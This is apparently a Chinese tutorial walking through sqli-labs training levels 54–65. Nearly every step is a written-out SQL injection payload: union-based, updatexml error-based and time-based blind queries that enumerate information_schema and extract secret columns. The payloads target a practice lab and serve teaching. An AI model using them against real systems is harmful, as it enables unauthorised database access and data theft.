以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】
【Less-54】

与前面的题目不同是,这里只能提交10次,一旦提交超过十次,数据会重新刷新,所有的步骤需要重来一次。
解题步骤:
根据测试,使用的是单引号闭合。
# 判断字段的数量
?id=1' order by 3 -- aaa# 获取数据库的名字
?id=-1' union select 1,2,database() -- aa# 获取数据表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa # 获取字段名,上一步获取的数据表名为73m93vdzgg(随机生成的)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa # 获取目标信息
?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa


最后把获取到的Key值放入输入框中提交,通关。
【Less-55】
通过测试,使用的是括号闭合。

解题步骤:
# 判断字段的数量
?id=1) order by 3 -- aaa# 获取数据库的名字
?id=-1) union select 1,2,database() -- aa# 获取数据表的名字
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa # 获取字段名,上一步获取的数据表名为lll4ndq8t5(随机生成的)
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa # 获取目标信息,字段名为secret_JY1K
?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa



【Less-56】
与上面两题类似,只是闭合的类型不同,采用的是单引号括号的方式。
解题步骤和上面基本一致,如下:
# 判断字段的数量
?id=1') order by 3 -- aaa# 获取数据库的名字
?id=-1') union select 1,2,database() -- aa# 获取数据表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa # 获取字段名,上一步获取的数据表名为bpunqnpx62(随机生成的)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa # 获取目标信息,字段名为secret_0OCB
?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa

【Less-57】
同样类型的题目,与之前的几题基本一样,只是闭合采用的是双引号。
解题步骤:
# 判断字段的数量
?id=1" order by 3 -- aaa# 获取数据库的名字
?id=-1" union select 1,2,database() -- aa# 获取数据表的名字
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa # 获取字段名,上一步获取的数据表名为mim20rhi4p(随机生成的)
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa # 获取目标信息,字段名为secret_3YCT
?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa

【Less-58】
通过测试,使用的是单引号闭合。
解题过程和之前的集体类似,只是没有回显信息,解题步骤如下:
# 获取数据库的名字
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
# 获取数据表的名字
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表字段名为s93lfq2cfa(随机生成的)
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa# 获取目标信息,字段名为secret_REV6
?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa



【Less-59】
与Less-58基本相同,唯一的不同在于闭合方式,Less-59是直接注入的方式。
# 获取数据库的名字
?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 获取数据表的名字 w7hf6t37nt
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # 获取字段名,上一步获取的数据表名为w7hf6t37nt(随机生成的)
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)# 获取目标信息,字段名为secret_D5MM
?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)


【Less-60】
与上题类似,闭合使用的是双引号括号。
解题步骤:
# 获取数据库的名字
?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa# 获取数据表的名字
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表名为kz7qxr5nq1(随机生成的)
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa# 获取目标信息,字段名为secret_TEGV
?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa

【Less-61】
经过测试,本题的闭合方式为单引号加两个括号。
解题步骤:
# 获取数据库的名字
?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa# 获取数据表的名字
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表名为31nbt3hzri(随机生成的)
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa# 获取目标信息,字段名为secret_QQ63
?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa

【Less-62】
此题的闭合方式为单引号加括号,与之前题目不同的是,此题没有显错,采用盲注的方式解题。
解题步骤:
# 获取数据库的名字,长度为10
?id=1') and length(database())=10 -- aa# 获取数据库的名字
?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
此时可以使用Burp Sutie工具实现名字的遍历。

【Less-63】
基本与Less-62一样,闭合是单引号闭合。
解题步骤:
# 获取数据库的名字,长度为10
?id=1' and length(database())=10 -- aa# 获取数据库的名字
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
【Less-64】
基本与Less-63一样,闭合是两个括号
解题步骤:
# 获取数据库的名字,长度为10
?id=1)) and length(database())=10 -- aa# 获取数据库的名字
?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
【Less-65】
基本与Less-63一样,闭合是双引号括号
解题步骤:
# 获取数据库的名字,长度为10
?id=1") and length(database())=10 -- aa# 获取数据库的名字
?id=1") and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa
相关文章:
以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】
【Less-54】 与前面的题目不同是,这里只能提交10次,一旦提交超过十次,数据会重新刷新,所有的步骤需要重来一次。 解题步骤: 根据测试,使用的是单引号闭合。 # 判断字段的数量 ?id1 order by 3 -- aaa# …...
详解 Flink 的时间语义和 watermark
一、Flink 时间语义类型 Event Time:是事件创建的时间。它通常由事件中的时间戳描述,例如采集的日志数据中,每一条日志都会记录自己的生成时间,Flink 通过时间戳分配器访问事件时间戳Ingestion Time :是数据进入 Flink…...
Unreal Engine项目结构与关卡设置详解
引言 Unreal Engine 是一款功能强大的游戏引擎,为开发者提供了丰富的工具来创建和管理游戏项目。本文将详细介绍一个基本的 Unreal Engine 项目结构,并讲解如何在 Unreal 编辑器中进行关卡设置与操作。 Unreal Engine 项目结构 一个基本的 Unreal Eng…...
Access数据中的SQL偏移注入
使用场景: 目标数据表的字段较多,无法一一获取的时候,尝试使用偏移注入的方式实现SQL注入。 原理: 例如:一个表有6个字段,而你想获取的目标表admin的字段不知道,此时可以使用联合查询的方式获…...
Unity 编辑器扩展,获取目录下所有的预制件
先看演示效果 实现方案 1创建几个用于测试的cube 2,创建一个Editor脚本 3,编写脚本内容 附上源码 using UnityEditor; using UnityEngine;public class GetPrefeb : EditorWindow {private string folderPath "Assets/Resources"; // 指定预…...
【Python】解决Python报错:ValueError: not enough values to unpack (expected 2, got 1)
文章目录 引言1. 错误详解2. 常见的出错场景2.1 函数返回值解包2.2 遍历含有不同长度元组的列表 3. 解决方案3.1 检查和调整返回值3.2 安全的解包操作 4. 预防措施4.1 使用异常处理4.2 单元测试 结语 引言 在Python编程中,ValueError 是一个常见的异常类…...
政安晨【零基础玩转各类开源AI项目】解析开源:gradio:改进真实虚拟试穿的扩散模型
政安晨的个人主页:政安晨 欢迎 👍点赞✍评论⭐收藏 收录专栏: 零基础玩转各类开源AI项目 希望政安晨的博客能够对您有所裨益,如有不足之处,欢迎在评论区提出指正! Gradio 是一个开源 Python 软件包,可以让你…...
深入解读Prometheus Adapter:云原生监控的核心组件
一、引言 Prometheus Adapter的背景与重要性 在现代的云原生架构中,微服务和容器化技术得到了广泛的应用。这些技术带来了系统灵活性和扩展性的提升,但同时也增加了系统监控和管理的复杂度。Prometheus作为一款开源的监控系统,因其强大的指标…...
【计算机视觉】数字图像处理基础:以像素为单位的图像基本运算(点运算、代数运算、逻辑运算、几何运算、插值)
0、前言 在上篇文章中,我们对什么是数字图像、以及数字图像的组成(离散的像素点)进行了讲解🔗【计算机视觉】数字图像处理基础知识:模拟和数字图像、采样量化、像素的基本关系、灰度直方图、图像的分类。 我们知道&a…...
Spring Boot整合WebSocket和Redis实现直播间在线人数统计功能
😄 19年之后由于某些原因断更了三年,23年重新扬帆起航,推出更多优质博文,希望大家多多支持~ 🌷 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志 🎐 个人CSND主页——Mi…...
uniapp自定义的下面导航
uniapp自定义的下面导航 看看效果图片吧 文章目录 uniapp自定义的下面导航 看看效果图片吧  前言一、写组件、我这里就没有写组件了直接写了一个页面?总结 前言 在…...
【Python】selenium使用find_element时解决【StaleElementReferenceException】问题的方法
StaleElementReferenceException 是 Selenium WebDriver 中的一种异常,通常在元素与当前页面的状态不同步时抛出,比如页面已经刷新或导航到另一个页面,但是尝试操作的元素引用仍然是旧页面上的元素。 以下是一些解决 StaleElementReferenceE…...
Apache IoTDB 分布式架构三部曲(三)副本与共识算法
IoTDB 首创并应用的共识协议统一框架,为用户提供了灵活选择不同共识算法的可能性。 对于一个分布式集群而言,为了使得海量数据场景下集群能够横向扩展,集群需要按照一定的规则将全部数据分成多个子集存储在不同的节点上,从而能够更…...
数据挖掘--聚类分析:基本概念和方法
数据挖掘--引论 数据挖掘--认识数据 数据挖掘--数据预处理 数据挖掘--数据仓库与联机分析处理 数据挖掘--挖掘频繁模式、关联和相关性:基本概念和方法 数据挖掘--分类 数据挖掘--聚类分析:基本概念和方法 聚类分析 聚类分析是把一个数据对象&…...
APP单页分发源码下载安卓苹果自动识别apk描述文件免签自动安装
下载地址:APP单页分发源码下载安卓苹果自动识别apk描述文件免签自动安装...
golang定时器使用示例
1.定时器创建与停止 //定时器使用t1 : time.NewTimer(2 * time.Second)<-t1.Cfmt.Println("timer1 fired")t2 : time.NewTimer(5 * time.Second)go func() {fmt.Println("go协程处理中,等待5秒后输出...")<-t2.Cfmt.Println("timer2 fired&quo…...
[FSCTF 2023]Tea_apk
得到密文和密钥 import base64 from ctypes import c_uint32import libnumDELTA 0x9E3779B9def decrypt(v, n, k):rounds 6 int(52 / n)sum c_uint32(rounds * DELTA)y v[0].valuewhile rounds > 0:e (sum.value >> 2) & 3p n - 1while p > 0:z v[p …...
分享一个用python写的本地WIFI密码查看器
本章教程,主要分享一个本地wifi密码查看器,用python实现的,感兴趣的可以试一试。 具体代码 import subprocess # 导入 subprocess 模块,用于执行系统命令 import tkinter as tk # 导入 tkinter 模块,用于创建图形用…...
【SkyWalking】启用apm-trace-ignore-plugin追踪忽略插件
背景 使用Agent采集追踪数据的时候,想排除某些路径,比如健康检查等,这样可以减少上报的数据,也可以去除一些不必要的干扰数据。 加载插件 在agent/optional-plugins目录中有个apm-trace-ignore-plugin-${version}.jar插件&…...
独立游戏之路 -- 获取OAID提升广告收益
Unity 之 获取手机:OAID、IMEI、ClientId、GUID 前言一、Oaid 介绍1.1 Oaid 说明1.2 移动安全联盟(MSA) 二、站在巨人的肩膀上2.1 本文实现参考2.2 本文实现效果2.3 本文相关插件 三、Unity 中获取Oaid3.1 查看实现源码3.2 工程配置3.3 代码实现3.4 场景搭建 四、总…...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...
Frozen-Flask :将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...
DBAPI如何优雅的获取单条数据
API如何优雅的获取单条数据 案例一 对于查询类API,查询的是单条数据,比如根据主键ID查询用户信息,sql如下: select id, name, age from user where id #{id}API默认返回的数据格式是多条的,如下: {&qu…...
【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分
一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计,提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合:各模块职责清晰,便于独立开发…...
JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...
